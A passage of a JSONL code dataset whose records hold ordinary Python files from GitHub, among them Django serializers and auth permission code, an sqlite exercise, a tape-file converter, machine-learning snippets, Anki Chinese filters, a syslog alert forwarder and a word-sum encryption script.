entity_creator_callable)\n actual_function(facility, entity_data, validated_data)\n\n if contacts:\n [\n create_facility_child_entity(\n \"create_facility_contacts\", contact)\n for contact in contacts\n ]\n\n if units:\n [create_facility_child_entity(\n \"create_facility_units\", unit) for unit in units]\n if services:\n [create_facility_child_entity(\n \"create_facility_services\", service) for service in services]\n if self.inlining_errors:\n raise ValidationError(self.inlining_errors)\n return instance\n\n\nclass FacilityListSerializer(FacilitySerializer):\n\n class Meta(object):\n model = Facility\n fields = [\n 'code', 'name', 'id', 'county', 'constituency',\n 'facility_type_name', 'owner_name', 'owner_type_name',\n 'regulatory_status_name', 'ward', 'operation_status_name',\n 'ward_name', 'is_published', \"is_approved\", \"has_edits\",\n \"rejected\"\n ]\n\n\nclass FacilityServiceRatingSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n facility_name = serializers.ReadOnlyField(\n source='facility_service.facility.name'\n )\n facility_id = serializers.ReadOnlyField(\n source='facility_service.facility.id'\n )\n service_name = serializers.ReadOnlyField(\n source='facility_service.service.name'\n )\n\n class Meta(object):\n model = FacilityServiceRating\n\n\nclass FacilityUnitRegulationSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n class Meta(object):\n model = FacilityUnitRegulation\n\n\nclass FacilityUpdatesSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n facility_updates = serializers.ReadOnlyField()\n facility_updated_json = serializers.ReadOnlyField()\n created_by_name = serializers.ReadOnlyField(\n source='updated_by.get_full_name')\n\n class Meta(object):\n model = FacilityUpdates\n exclude = ('facility_updates', )\n\n\nclass OptionGroupSerializer(AbstractFieldsMixin, serializers.ModelSerializer):\n options = OptionSerializer(required=False, many=True)\n\n class Meta(object):\n model = OptionGroup\n\n\nclass FacilityDepartmentSerializer(\n AbstractFieldsMixin, serializers.ModelSerializer):\n\n regulatory_body_name = serializers.ReadOnlyField(\n source='regulatory_body.name'\n )\n\n class Meta(object):\n model = FacilityDepartment\n","repo_name":"MasterFacilityList/mfl_api","sub_path":"facilities/serializers/facility_serializers.py","file_name":"facility_serializers.py","file_ext":"py","file_size_in_byte":22292,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"} +{"seq_id":"23525352776","text":"import sqlite3\ndb=sqlite3.connect(\"e:\\\\kaki.db\")\ndb.execute(\"create table if not exists student(rno int primary key,name text,marks float)\")\nrno=int(input(\"enter the rno\"))\nname=input('enter name')\nmarks=float(input('enter marks'))\ndb.execute(\"insert into student values(?,?,?)\",(rno,name,marks))\ndb.commit()\ndb.close()\n\n\ndb=sqlite3.connect(\"e:\\\\kaki.db\")\ncusor=db.execute(\"select * from student\")\nfor row in cusor:\n for r in row:\n print(r,end=\"\\t\")\n print()\ndb.close()","repo_name":"manikshahkataria/codes","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37616379778","text":"\"\"\"\nConvert .prg file to Oric .tap file\n\"\"\"\n\nimport sys\n\nFILENAME = 'OSDK'\n\ndef sync_bytes():\n \"\"\"\n Sync Bytes for start of Oric tape header\n \"\"\"\n return bytearray(b'\\x16\\x16\\x16\\x16\\x24')\n\ndef code_type():\n \"\"\"\n Declare program as executable machine code\n \"\"\"\n return bytearray(b'\\x80\\xc7')\n\ndef address_range(prg):\n \"\"\"\n Get address range of code\n \"\"\"\n result = bytearray()\n result_end = (prg[1] * 255) + prg[0] + (len(prg) - 2)\n result.append(int(result_end / 255))\n result.append(int(result_end % 255))\n result.append(prg[1])\n result.append(prg[0])\n\n return result\n\ndef reserved(num):\n \"\"\"\n Return reserved bytes - zeros\n \"\"\"\n return bytearray(num)\n\ndef filename(name):\n \"\"\"\n Encode filename\n \"\"\"\n result = bytearray()\n result.extend(map(ord, name))\n result.append(0)\n return result\n\ndef body(prg):\n \"\"\"\n Code body\n \"\"\"\n return prg[2:]\n\ndef process(prg, name):\n \"\"\"\n Transform prg into tap\n \"\"\"\n result = sync_bytes()\n result.extend(reserved(2))\n result.extend(code_type())\n result.extend(address_range(prg))\n result.extend(reserved(1))\n result.extend(filename(name))\n result.extend(body(prg))\n return result\n\ndef convert():\n \"\"\"Convert stdin .prg to stdout .tap\"\"\"\n try:\n data = sys.stdin.buffer.read()\n except AttributeError:\n sys.exit('error reading from stdin')\n output = process(data, FILENAME)\n sys.stdout.buffer.write(output)\n\nif __name__ == '__main__':\n\n convert()\n","repo_name":"peckhamdata/prg2tap","sub_path":"prg2tap/prg2tap.py","file_name":"prg2tap.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25971706029","text":"# AdaBoost\r\nimport xgboost as xg\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\nfrom sklearn.ensemble import AdaBoostClassifier\r\nada = AdaBoostClassifier(n_estimators=200, random_state=0, learning_rate=0.1)\r\nresult = cross_val_score(ada, X, Y, cv=10, scoring='accuracy')\r\nprint('The cross validated score for AdaBoost is:', result.mean())\r\n\r\n# Stochastic Gradient Boosting\r\ngrad = GradientBoostingClassifier(\r\n n_estimators=500, random_state=0, learning_rate=0.1)\r\nresult = cross_val_score(grad, X, Y, cv=10, scoring='accuracy')\r\nprint('The cross validated score for Gradient Boosting is:', result.mean())\r\n\r\n# XGBoost\r\nxgboost = xg.XGBClassifier(n_estimators=900, learning_rate=0.1)\r\nresult = cross_val_score(xgboost, X, Y, cv=10, scoring='accuracy')\r\nprint('The cross validated score for XGBoost is:', result.mean())\r\n\r\n# Hyper-Parameter Tuning for AdaBoost\r\nn_estimators = list(range(100, 1100, 100))\r\nlearn_rate = [0.05, 0.1, 0.2, 0.3, 0.25, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\r\nhyper = {'n_estimators': n_estimators, 'learning_rate': learn_rate}\r\ngd = GridSearchCV(estimator=AdaBoostClassifier(),\r\n param_grid=hyper, verbose=True)\r\ngd.fit(X, Y)\r\nprint(gd.best_score_)\r\nprint(gd.best_estimator_)\r\n\r\n# Confusion Matrix for the Best Model\r\nada = AdaBoostClassifier(n_estimators=200, random_state=0, learning_rate=0.05)\r\nresult = cross_val_predict(ada, X, Y, cv=10)\r\nsns.heatmap(confusion_matrix(Y, result), cmap='winter', annot=True, fmt='2.0f')\r\nplt.show()\r\n","repo_name":"kmsk99/data_science_toolbar","sub_path":"modeling/machine_learning/ensembling/boosting.py","file_name":"boosting.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1785324389","text":"#\n# Template for code submission\n#\n# name :Davyd\n# email :dab254@pitt.edu\n# date :20.11.16\n# class :CS0008-f2016\n# instructor : Max Novelli (man8@pitt.edu)\n#\n# Description:\n# The code for Assignment 3\n#\n# Notes:\n# MN: I think you should have created a file where storing the list of names, number of records and total distance run\n#\n# START OF THE PROGRAMME AND ITS COMMENTARIES!!!\n#\n# Importing collections module\nimport collections\n\n# Declaring function named sumData, which will sum the distances for each participant\ndef sumData(data):\n # Creating new defaultdict object and store it in result\n result = collections.defaultdict(int)\n # Creating a count-controlled loop (for each element in data)\n for element in data:\n # Sorting the values for element in tuple (name,distance)\n name, distance = element\n # Updating the distance\n result[name] += distance\n # Creating the list form the result object\n return [[i, total] for i, total in result.items()]\n\n# Opening master file, reading it, splitting by delimiter \\n, storing the result in files\n# MN: why did you hard code the file name?\nfiles=open(\"f2016_cs8_a3.data.txt\").read().split(\"\\n\")\n# Creating empty data list\ndata=[]\n# Looping from 0 till len(files)-1\n# MN: why not using: for file in files?\nfor i in range(0,len(files)-1):\n # Opening each data file, reading it, splitting by delimiter \\n, storing in local veriable dataSource\n dataSource = open(files[i]).read().split(\"\\n\")\n # Looping from 1 till len(dataSource-1)\n for i in range(1, len(dataSource) - 1):\n # Splitting each entry in dataSource by delimiter \" ,\", appending the result to the data list\n data.append(dataSource[i].split(' ,'))\n\n# For each [name,distance] in data casting the distance to float, storing the new pair in data\ndata = [[i[0], float(i[1])] for i in data]\n\n# Printing the number of files read\nprint(\"Number of files:\\t%d\"%(len(files)-1))\n\n# Printing the number of line read, the number of lines is the number of lines in data + the number of\n# headers that was skipped\nprint(\"Number of lines:\\t%d\"%(len(data)+len(files)-1))\n# Printing the total distance which is the sum of all distances in data\nprint(\"Total distance:\\t%f\"%(sum(i[1] for i in data)))\n# Creating a count-controlled loop (for each element in the list which was returned by the sumData function)\nfor i in sumData(data):\n # Printing the name and the total distance\n print(\"Total distance for:\\t%s is:\\t %f\"%(i[0],i[1]))\n\n# MN: you should have compute min and max distance on the participant total distance\n# and not on the single record\n#\n# Finding the pair[name,distance] with the highest distance, storing the result in maxDist\nmaxDist=max(data,key=lambda x: x[1])\n# Finding the pair[name,distance] with the smallest distance, storing the result in maxDist\nminDist = min(data, key=lambda x: x[1])\n# Printing the the pair[name,distance] from the maxDist\nprint(\"Max distance:\\t%f by:\\t%s\"%(maxDist[1],maxDist[0]))\n# Printing the the pair[name,distance] from the minDist\nprint(\"Min distance:\\t%f by:\\t%s\" % (minDist[1], minDist[0]))\n\n# Creating the list of names from the data, storing the result in names\nnames = [i[0] for i in data]\n# Creating the set from names to remove the duplicates, printing the number of partisipants which is the lenght\n# of the set(names)\nprint(\"Total number of participants:\\t%d\"%len(set(names)))\n# Finding the pairs[name,distance] with the number of occurrences > 1, storing the result in data\nduplicates=[[i,names.count(i)] for i in names if names.count(i)>1]\n# Creating a count-controlled loop (for each pair[name,distance] in duplicates printing the name and the distance)\nfor i in duplicates:\n # Printing the name and the distance\n print(\"%s %d\"%(i[0],i[1]))\n","repo_name":"Seargent/CS0008-f2016","sub_path":"f2016_cs8_dab254_a3/f2016_cs8_dab254_a3.py","file_name":"f2016_cs8_dab254_a3.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27279086381","text":"from collections import deque\n\nclass stack:\n def __init__(self):\n self.stk = deque()\n\n def is_empty(self):\n return len(self.stk)==0\n\n def push(self,val):\n self.stk.append(val)\n\n def pop(self):\n if self.is_empty():\n print('Stack is empty!!')\n return\n return self.stk.pop()\n\n def peek(self):\n if self.is_empty():\n print('Stack is empty!!')\n return\n return self.stk[-1]\n\n def print_stack(self):\n print(self.stk)\n return\n\nif __name__ == '__main__':\n stk = stack()\n print(stk.is_empty())\n stk.push(10)\n stk.push(101)\n stk.push(98)\n stk.push(20)\n stk.push(36)\n stk.push(15)\n\n stk.print_stack()\n print('stk peek ele = ',stk.peek())\n print('popping---------------')\n print(stk.pop())\n print(stk.pop())\n print(stk.pop())\n print('\\nAfter popping =>\\nstk peek ele = ', stk.peek())","repo_name":"smzgit/DSA-python","sub_path":"4_Stack/1_Stack_deQ.py","file_name":"1_Stack_deQ.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26397334036","text":"# -*- coding: utf-8 -*-\nimport json\nimport logging\nimport socket\nfrom flask import current_app\n\nfrom polylogyx.utils import DateTimeEncoder, append_node_and_rule_information_to_alert, flatten_json\nfrom .base import AbstractAlerterPlugin\n\nDEFAULT_KEY_FORMAT = 'polylogyx-incident-{count}'\n\nclass RsyslogAlerter(AbstractAlerterPlugin):\n def __init__(self, config):\n # Required configuration\n self.service_key = config['service_key']\n\n # Optional\n self.client_url = config.get('client_url', '')\n self.key_format = config.get('key_format', DEFAULT_KEY_FORMAT)\n\n # Other\n self.incident_count = 0\n self.logger = logging.getLogger(__name__ + '.RsyslogAlerter')\n\n def handle_alert(self, node, match,intel_match):\n self.incident_count += 1\n key = self.key_format.format(\n count=self.incident_count\n )\n\n\n import datetime as dt\n if match:\n current_app.logger.log(logging.WARNING, 'Triggered alert: {0!r}'.format(match))\n description = match.rule.template.safe_substitute(\n match.result['columns'],\n **node\n ).rstrip()\n\n description = \":\".join(description.split('\\r\\n\\r\\n', 1))\n\n payload = json.dumps(append_node_and_rule_information_to_alert(node, flatten_json({\n 'event_type': 'trigger',\n 'service_key': self.service_key,\n 'incident_key': key,\n 'description': description,\n 'host_identifier': node['host_identifier'],\n 'client': 'PolyLogyx',\n \"client_url\": self.client_url,\n \"query_name\": match.result['name'],\n 'rule_name': match.rule.name,\n 'rule_description': match.rule.description,\n 'rule_status': match.rule.status,\n 'severity':match.rule.severity,\n 'alert_type': 'Rule',\n 'created_at': dt.datetime.utcnow(),\n 'action': match.result['action'],\n 'columns': match.result['columns'],\n })), cls=DateTimeEncoder)\n elif intel_match:\n current_app.logger.log(logging.WARNING, 'Triggered alert: {0!r}'.format(intel_match))\n payload = json.dumps(append_node_and_rule_information_to_alert(node, flatten_json({\n 'event_type': 'trigger',\n 'service_key': self.service_key,\n 'incident_key': key,\n 'host_identifier': node['host_identifier'],\n 'client': 'PolyLogyx',\n \"client_url\": self.client_url,\n 'alert_type':'Threat Intel',\n \"query_name\": intel_match.intel['query_name'],\n 'source_data': intel_match.data,\n\n 'source': intel_match.intel['source'],\n 'severity': intel_match.intel['severity'],\n 'created_at': dt.datetime.utcnow(),\n 'columns': intel_match.result,\n })), cls=DateTimeEncoder)\n\n\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((\"rsyslogf\", 514))\n bSock = True\n current_app.logger.info(\"[alert] Socket connected\")\n except:\n bSock = False\n current_app.logger.error(\"Unable to socket connect, is rsyslog forwarder running? If not, disable rsyslog forwading in docker compose file.\")\n\n try:\n if bSock:\n sock.send(payload.encode('utf-8'))\n sock.send('\\n'.encode('utf-8'))\n finally:\n if bSock:\n sock.close()\n current_app.logger.info(\"[alert] Socket closed\")\n","repo_name":"preetpoly/plgx-esp","sub_path":"plgx-esp/polylogyx/plugins/alerters/rsyslog.py","file_name":"rsyslog.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3763396900","text":"import urllib.request\n\nurl = \"https://projecteuler.net/project/resources/p022_names.txt\"\nfile = urllib.request.urlopen(url)\n\ns = \"\"\nfor line in file:\n\ts = s + line.decode()\n\nsa = s.split(\",\")\nfor i in range(len(sa)):\n sa[i] = sa[i].strip('\"')\n\nsa.sort()\nsum = 0\nfor i in range(len(sa)):\n s = 0\n for j in sa[i]:\n s = s + ord(j) - 64\n sum = sum + s * (i+1)\n\nprint(sum)\n","repo_name":"terrencettang/project_euler","sub_path":"22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29940663839","text":"#!/usr/bin/env python\n\n\n# N-Sum encryption for any N\n# BEFORE RUNNING: make sure this script and \"omegaO2.txt\" are in the same directory.\n# USAGE: Simply run this script and, when prompted, enter the message you wish to encrypt.\n# OUTPUT: Sorted list of encryption keys written to \"keys.txt\", one per line\n########################################################################################\n# This script produces usable sum-encrypted messages, but there are still some\n# additional needed improvements. For example,\n# 1. tokenization, e.g. handle punctuation (note convert \"read.\" to \"read\" but not \"U.S.\" to \"U.S\")\n# 2. lemmatization, e.g. convert plural nouns to singular (WordNet has no plurals)\n# 3. hash words not in the dictionary to unused unique integers (WordNet uses integers between 0 and roughly 1.6*10^7) \n# 4. compound words (connected with \"_\")\n# 5. Part of Speech differentiation\n########################################################################################\n\nimport csv\nimport shlex\n\n###################################################################\ndef MapEntry(entryword, syndict, stopwords):\n if (syndict.has_key(entryword) and entryword not in stopwords):\n return syndict[entryword]\n else:\n return []\n\n###################################################################\ndef SumWordsDFSRecursive(currwords, index, syndict, stopwords, sublist, sumdict):\n if index == len(currwords):\n total = sum(sublist) # key computed here\n if (sumdict.has_key(total) == False):\n sumdict[total] = []\n for item in sublist:\n sumdict[total].append(item) # build the inverted dictionary\n return\n \n for entry in MapEntry(currwords[index], syndict, stopwords):\n templist = sublist[:]\n templist.append(entry)\n SumWordsDFSRecursive(currwords, index+1, syndict, stopwords, templist, sumdict)\n\n###################################################################\ndef SumNEncrypt(userwords, currwords, syndict, stopwords, N, sumdict):\n if len(currwords) == N:\n sublist = []\n SumWordsDFSRecursive(currwords, 0, syndict, stopwords, sublist, sumdict)\n return\n\n for i in range(0, len(userwords)): # iterate over all n-element combinations\n newwords = currwords[:]\n newwords.append(userwords[i])\n SumNEncrypt(userwords[i+1:], newwords, syndict, stopwords, N, sumdict)\n\n###################################################################\ndef main():\n\n N = 2 # change this for the desired security level sN\n stopwords = [] # append words to this list to exclude from encryption, such as \"a\", \"the\", \"it\", etc.\n synfile = \"omegaO2.txt\" # map file defines M: x -> Omega_x\n outfile = open(\"keys.txt\", \"w\") # output as a text file, one key per line\n\n synReader = csv.reader(open(synfile,'rb'), delimiter=' ') # read map file\n syns = []\n for synline in synReader:\n syns.append(synline)\n\n syndict = {} # convert to a dictionary for faster access\n for entryline in syns:\n syndict[entryline[0]] = [int(x) for x in entryline[1:]]\n\n usertext = raw_input('Message to encrypt: ') # user input\n userwords = shlex.split(usertext)\n\n sumdict = {}\n SumNEncrypt(userwords, [], syndict, stopwords, N, sumdict) # encryption done here\n\n for key in sorted(sumdict.keys()): # write output with one sum per line\n outfile.write(str(key) + '\\n')\n \nif __name__ == '__main__':\n main()\n \n","repo_name":"nkersting/Encryption","sub_path":"sN_encrypt.py","file_name":"sN_encrypt.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4228054112","text":"## bai 2\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom dmba import regressionSummary\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import r2_score\n\ndf2 = pd.read_csv(\"../dataset/Tayko.csv\")\n\n#a\nprint(pd.pivot_table(df2, index=['Gender=male', 'Address_is_res', 'US'], values='Spending', aggfunc= [np.mean, np.std]))\nprint('-----------------------------------------------------------------------------------')\n#b\ndf2.plot(kind='scatter', x='last_update_days_ago', y='Spending')\nplt.show()\nprint('-----------------------------------------------------------------------------------')\n#c\ndf_new_record = df2.iloc[0:2000]\npredictors = ['Freq', 'US', 'last_update_days_ago', 'Gender=male', 'Address_is_res', 'Web order']\noutcome = 'Spending'\n\nX = df_new_record[predictors]\ny = df_new_record[outcome]\n\ntrain_x, test_x, train_y, test_y = train_test_split(X, y, test_size=0.3, random_state=1)\n\nlm = LinearRegression()\nlm.fit(train_x, train_y)\n\nprint(\"intercept:\", lm.intercept_)\nprint(predictors)\nprint(lm.coef_)\n\nresult = lm.predict(test_x)\nresiduals = test_y - result\nprint(result[0], residuals[0])\n\nprint(regressionSummary(test_y, result))\nprint(\"MSE:\", mean_squared_error(test_y,result))\nprint(\"R^2:\", r2_score(test_y, result))\n\nplt.hist(residuals, bins=25)\nplt.show()\n\n","repo_name":"lamte1234/Data-Mining","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73183257386","text":"import re\nfrom anki import hooks\nfrom anki.utils import stripHTML\nfrom anki.template import TemplateRenderContext\nfrom .ruby import ruby_top, ruby_top_text, ruby_bottom_text, no_sound\n\nr = r' ?([^ >]+?)\\[(.+?)\\]'\nruby_re = r'\\1\\2'\n\ntone_info= [\n [u'[ɑ̄āĀáɑ́ǎɑ̌ÁǍàɑ̀À]', 'a'],\n [u'[ēĒéÉěĚèÈ]', 'e'],\n [u'[īĪíÍǐǏìÌ]', 'i'],\n [u'[ōŌóÓǒǑòÒ]', 'o'],\n [u'[ūŪúÚǔǓùÙ]', 'u'],\n [u'[ǖǕǘǗǚǙǜǛ]', 'v']\n]\n\n\ndef transcription_no_tones(\n txt: str, field_name: str, filter_name: str, context: TemplateRenderContext,\n) -> str:\n if not filter_name.startswith(\"transcription_no_tones\"):\n # not our filter, return string unchanged\n return txt\n '''Returns only the transcription, with tone information removed, whether\n it is in the form 'nǐ' or 'ni2'.\n '''\n txt = ruby_top_text(txt)\n for a, b in tone_info:\n txt = re.sub(a, b, txt)\n txt = re.sub(r'(\\[\\s*[a-z]+?)[0-9]', r'\\1 ', txt, flags=re.IGNORECASE)\n txt = re.sub(r'¹²³⁴', r' ', txt)\n return txt\n\n\ndef hanzi_silhouette(\n txt: str, field_name: str, filter_name: str, context: TemplateRenderContext,\n) -> str:\n if not filter_name.startswith(\"hanzi_silhouette\"):\n # not our filter, return string unchanged\n return txt\n ''' Hides the chinese characters, ruby annotations and tone colorization.\n Eg: '又[you4]A又B' returns '_ A _ B'.\n '''\n if len(txt)<10:\n return re.sub(u'[\\u4e00-\\u9fff]', '_ ', ruby_bottom_text(txt))\n else:\n return \"\"\n\n\ndef hanzi_context(\n txt: str, field_name: str, filter_name: str, context: TemplateRenderContext,\n) -> str:\n if not filter_name.startswith(\"hanzi_context\"):\n # not our filter, return string unchanged\n return txt\n '''\n For use on a Hanzi field.\n Return a list of all the other Hanzi synonyms, with the common characters hidden,\n to allow the user to identify the correct hanzi from a note.\n '''\n other_hanzi = []\n for k, v in context.iteritems():\n if re.match(r'Hanzi.*', k, flags=re.IGNORECASE) and v != txt :\n other_hanzi += [k]\n if len(other_hanzi)<1:\n return \"\"\n other_hanzi.sort()\n other_hanzi_values = []\n for v in other_hanzi:\n value = stripHTML(re.sub(r, r'\\1', no_sound(context[v])))\n if len(value)>0:\n other_hanzi_values += [value]\n if len(other_hanzi_values)<1:\n return \"\"\n def concat(a, b):\n return a + \" / \" + b\n context_string = reduce(concat, other_hanzi_values)\n for h in txt:\n if h >= u'\\u4e00' and h <= u'\\u9fff':\n context_string = re.sub(h, \" _ \", context_string)\n context_string = re.sub(\" \", \" \", context_string)\n return context_string\n\n\n#legacy\ndef hint_filter(txt: str, args, context, tag: str, fullname) -> str:\n if not txt.strip():\n return \"\"\n # random id\n domid = \"hint%d\" % id(txt)\n return \"\"\"\n\n%s
%s
\n\"\"\" % (\n domid,\n _(\"Show %s\") % tag,\n domid,\n txt,\n )\n\n\ndef hint_transcription(\n txt: str, field_name: str, filter_name: str, context: TemplateRenderContext,\n) -> str:\n if not filter_name.startswith(\"hint_transcription\") or filter_name.startswith(\"hint_transcription_no_tones\"):\n # not our filter, return string unchanged\n return txt\n return hint_filter(ruby_top(txt), filter_name, context, 'Transcription', field_name)\n\n\ndef hint_transcription_no_tones(\n txt: str, field_name: str, filter_name: str, context: TemplateRenderContext,\n) -> str:\n if not filter_name.startswith(\"hint_transcription_no_tones\"):\n # not our filter, return string unchanged\n return txt\n return hint_filter(transcription_no_tones(txt), filter_name, context, 'Transcription', field_name)\n\n\ndef install():\n hooks.field_filter.append(transcription_no_tones)\n hooks.field_filter.append(hanzi_silhouette)\n hooks.field_filter.append(hanzi_context)\n hooks.field_filter.append(hint_transcription)\n hooks.field_filter.append(hint_transcription_no_tones)\n","repo_name":"luoliyan/chinese-support-redux","sub_path":"chinese/templates/chinese_new.py","file_name":"chinese_new.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"37"} +{"seq_id":"2309422376","text":"# Создайте функцию, которая принимает переменное количество аргументов и находит среднее арифметическое ненулевых из них. Обратите внимание на формат вывода\n# 1 2 3 ---> 2 \n# 2 0 0 2 2 ---> 2 \n# 2 0 2 1 1 ---> 1.5\n# Формат ввода: 1 2 3 0 0\n# Фо��мат вывода: 2\ndef f(*args):\n s = ' '.join(args)\n n = s.split()\n result = 0\n count = 0\n for j in n:\n if j == '0':\n continue\n else:\n count += 1\n for i in n:\n result += int(i)\n everage = result / count\n if everage % 1 == 0:\n everage = round(everage)\n return everage\n\nprint(f('0 20 30'))","repo_name":"blocsu/Python","sub_path":"Lecture_4/arithmetic_mean/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40172552283","text":"from atman_magma.magma import Magma\nfrom atman_magma.attention_rollout import AttentionRolloutMagma\nimport matplotlib.pyplot as plt\n\nfrom magma.image_input import ImageInput\nimport PIL.Image as PilImage\n\n\nprint('loading model...')\nmodel = Magma.from_checkpoint(\n checkpoint_path = \"./mp_rank_00_model_states.pt\",\n device = 'cuda:0'\n)\nar = AttentionRolloutMagma(model = model)\n\n\n\nprompt =[\n ## supports urls and path/to/image\n #ImageInput('https://www.art-prints-on-demand.com/kunst/thomas_cole/woods_hi.jpg'),\n ImageInput('',pil=PilImage.open('openimages-panda.jpg')),\n 'This is a picture of a'\n]\n\nrelevance_maps = ar.run_on_image(\n prompt=prompt,\n target = 'Panda', # note rollout per se does not have a target\n)\n\nfig = plt.figure()\nplt.imshow(relevance_maps.reshape(12,12))\nfig.savefig('panda-explained-rollout.jpg')\nprint('panda-explained-rollout.jpg')\n","repo_name":"Aleph-Alpha/AtMan","sub_path":"atman-magma/example_explain_attention_rollout.py","file_name":"example_explain_attention_rollout.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6295095935","text":"\"\"\"\nCreates permissions for all installed apps that need permissions.\n\"\"\"\nimport getpass\nimport unicodedata\n\nfrom django.apps import apps as global_apps\nfrom django.contrib.auth import get_permission_codename\nfrom django.contrib.contenttypes.management import create_contenttypes\nfrom django.core import exceptions\nfrom django.db import DEFAULT_DB_ALIAS, router\n\n\ndef _get_all_permissions(opts):\n \"\"\"\n Return (codename, name) for all permissions in the given opts.\n \"\"\"\n return [*_get_builtin_permissions(opts), *opts.permissions]\n\n\ndef _get_builtin_permissions(opts):\n \"\"\"\n Return (codename, name) for all autogenerated permissions.\n By default, this is ('add', 'change', 'delete', 'view')\n \"\"\"\n perms = []\n for action in opts.default_permissions:\n perms.append(\n (\n get_permission_codename(action, opts),\n \"Can %s %s\" % (action, opts.verbose_name_raw),\n )\n )\n return perms\n\n\ndef create_permissions(\n app_config,\n verbosity=2,\n interactive=True,\n using=DEFAULT_DB_ALIAS,\n apps=global_apps,\n **kwargs,\n):\n if not app_config.models_module:\n return\n\n # Ensure that contenttypes are created for this app. Needed if\n # 'django.contrib.auth' is in INSTALLED_APPS before\n # 'django.contrib.contenttypes'.\n create_contenttypes(\n app_config,\n verbosity=verbosity,\n interactive=interactive,\n using=using,\n apps=apps,\n **kwargs,\n )\n\n app_label = app_config.label\n try:\n app_config = apps.get_app_config(app_label)\n ContentType = apps.get_model(\"contenttypes\", \"ContentType\")\n Permission = apps.get_model(\"auth\", \"Permission\")\n except LookupError:\n return\n\n if not router.allow_migrate_model(using, Permission):\n return\n\n # This will hold the permissions we're looking for as\n # (content_type, (codename, name))\n searched_perms = []\n # The codenames and ctypes that should exist.\n ctypes = set()\n for klass in app_config.get_models():\n # Force looking up the content types in the current database\n # before creating foreign keys to them.\n ctype = ContentType.objects.db_manager(using).get_for_model(\n klass, for_concrete_model=False\n )\n\n ctypes.add(ctype)\n for perm in _get_all_permissions(klass._meta):\n searched_perms.append((ctype, perm))\n\n # Find all the Permissions that have a content_type for a model we're\n # looking for. We don't need to check for codenames since we already have\n # a list of the ones we're going to create.\n all_perms = set(\n Permission.objects.using(using)\n .filter(\n content_type__in=ctypes,\n )\n .values_list(\"content_type\", \"codename\")\n )\n\n perms = []\n for ct, (codename, name) in searched_perms:\n if (ct.pk, codename) not in all_perms:\n permission = Permission()\n permission._state.db = using\n permission.codename = codename\n permission.name = name\n permission.content_type = ct\n perms.append(permission)\n\n Permission.objects.using(using).bulk_create(perms)\n if verbosity >= 2:\n for perm in perms:\n print(\"Adding permission '%s'\" % perm)\n\n\ndef get_system_username():\n \"\"\"\n Return the current system user's username, or an empty string if the\n username could not be determined.\n \"\"\"\n try:\n result = getpass.getuser()\n except (ImportError, KeyError):\n # KeyError will be raised by os.getpwuid() (called by getuser())\n # if there is no corresponding entry in the /etc/passwd file\n # (a very restricted chroot environment, for example).\n return \"\"\n return result\n\n\ndef get_default_username(check_db=True, database=DEFAULT_DB_ALIAS):\n \"\"\"\n Try to determine the current system user's username to use as a default.\n\n :param check_db: If ``True``, requires that the username does not match an\n existing ``auth.User`` (otherwise returns an empty string).\n :param database: The database where the unique check will be performed.\n :returns: The username, or an empty string if no username can be\n determined or the suggested username is already taken.\n \"\"\"\n # This file is used in apps.py, it should not trigger models import.\n from django.contrib.auth import models as auth_app\n\n # If the User model has been swapped out, we can't make any assumptions\n # about the default user name.\n if auth_app.User._meta.swapped:\n return \"\"\n\n default_username = get_system_username()\n try:\n default_username = (\n unicodedata.normalize(\"NFKD\", default_username)\n .encode(\"ascii\", \"ignore\")\n .decode(\"ascii\")\n .replace(\" \", \"\")\n .lower()\n )\n except UnicodeDecodeError:\n return \"\"\n\n # Run the username validator\n try:\n auth_app.User._meta.get_field(\"username\").run_validators(default_username)\n except exceptions.ValidationError:\n return \"\"\n\n # Don't return the default username if it is already taken.\n if check_db and default_username:\n try:\n auth_app.User._default_manager.db_manager(database).get(\n username=default_username,\n )\n except auth_app.User.DoesNotExist:\n pass\n else:\n return \"\"\n return default_username\n","repo_name":"django/django","sub_path":"django/contrib/auth/management/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"20805625591","text":"###############################################################################\n# NAME: 